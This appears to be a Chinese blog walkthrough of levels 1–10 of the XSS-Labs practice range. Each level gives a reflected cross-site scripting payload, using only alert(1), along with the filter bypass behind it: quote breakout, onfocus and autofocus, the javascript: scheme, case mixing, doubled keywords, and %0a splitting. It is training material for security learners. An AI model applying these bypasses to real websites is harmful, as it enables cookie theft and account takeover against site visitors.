XSS-Labs靶场通关

目录

前言

level1

level2

level3

level4

level5

level6

level7

level8

level9

level10


前言

XSS漏洞又名跨站脚本攻击,是web安全漏洞之一,攻击者在网页中通过各种方式嵌入恶意javascript代码,而受害者一旦访问到带有恶意javascript代码的网页,就会导致受害者的浏览器执行恶意javascript代码,导致cookie泄露等严重危害

xss-labs靶场前十关比较贴合现代web安全漏洞场景,因此只将1-10关列出

level1

简单无过滤的xss

html 复制代码
<script>alert(1)</script>

level2

沿用第一关的payload发现不行

f12查看源码,发现他将我们输入的放在了属性值里,因此闭合就行

html 复制代码
"><script>alert(1)</script>

level3

沿用第二关的payload发现不行,f12查看源码发现他将<>和"实体化编码了

但是对单引号'没有实体化,因此可以使用单引号闭合,添加on事件触发xss,并且结尾加//注释原有的引号

html 复制代码
1' onfocus=alert(1)//

level4

沿用第三关的payload,发现不行,查看源码发现是用双引号闭合而我们使用单引号

因此将单引号换成双引号即可

html 复制代码
1" onfocus=alert(1)//

level5

沿用第四关的payload,发现不行,查看源码,发现on被过滤,这里过滤的是on并不是onfocus这个事件,因为用onclick等on事件都不行

这里先使用1">测试尖括号有没有过滤,发现对尖括号>没有过滤

这里就可以使用a标签的href属性,添加javascript伪协议即可绕过

html 复制代码
1"><a href=javascript:alert(1)>

level6

沿用第五关的payload,发现不行,查看源码发现href被过滤

但是这里只过滤小写的href,使用大小写绕过即可

html 复制代码
1"><a hREf=javascript:alert(1)>

level7

沿用第六关的payload,发现不行,查看源码,发现href和script被删除了

使用双写即可

html 复制代码
1"><a hRhrefEf=javascscriptript:alert(1)>

level8

沿用第六关的payload,发现不行,查看源码发现将我们输入的直接放到了a标签的href属性中,并且将script过滤了,大小写绕过不行

因此可以在script中添加一个%0a换行符绕过,这样就匹配不到script但是浏览器依然会执行href属性

html 复制代码
javasc%0aript:alert(1)

level9

沿用第八关的payload,发现不行,查看源码,显示链接不合法

这里经过测试,只需要链接中包含http://即可,在任意位置都可以,因此我们在结尾添加http://,并且在他之前添加//注释即可

html 复制代码
javas%0acript:alert(1)//http://

level10

输入测试语句,查看源码,发现并没有回显,但是发现了三个input输入框但是被隐藏了

因此,我们可以在url中主动添加上这三个参数

html 复制代码
keyword=123&t_link=123&t_history=123&t_sort=123

发现t_sort这个参数将值添加到value中,因此可以在这里测试xss,由于这个input是隐藏的,所以可以给他添加一个autofocus属性让他自动获得焦点而自动触发onfocus属性

html 复制代码
keyword=123&t_link=123&t_history=123&t_sort=123" onfocus=alert(1) autofocus>

但是这里没出发,查看源码

发现后面还有拼接一个双引号,因此我们先给一个随意属性在添加autofocus

html 复制代码
keyword=123&t_link=123&t_history=123&t_sort=123" onfocus=alert(1) test autofocus=>
相关推荐
IT_陈寒18 小时前
Java线程池踩了个坑,任务居然默默消失了
前端·人工智能·后端
程序员爱钓鱼19 小时前
配置 GoLand 与 VS Code 开发环境
前端·后端·go
程序员爱钓鱼19 小时前
Rust Vec 动态数组详解:创建、增删、遍历与排序
前端·后端·rust
LaughingZhu19 小时前
Product Hunt 每日热榜 | 2026-07-23
前端·神经网络·react.js·搜索引擎·前端框架
自然 醒19 小时前
记录We码开发者工具的一个bug
前端·javascript·bug
葡萄城技术团队19 小时前
HTML元素单元格:用自定义 CellType 扩展 SpreadJS 的显示能力
前端·javascript·html
不好听61319 小时前
Fragment:React 的 `<></>` 和原生的 DocumentFragment,同名不同命
前端·react.js·dom
不好听61319 小时前
useState 完全解析:初始化、异步更新、以及为什么传函数能解决闭包问题
前端·react.js
神明不懂浪漫21 小时前
【第七章】Java中的常用类
java·开发语言·前端·经验分享·笔记
GuWenyue1 天前
放弃云端API!一套React+WebGPU本地LLM方案,零数据上传、离线可用
前端·人工智能·前端框架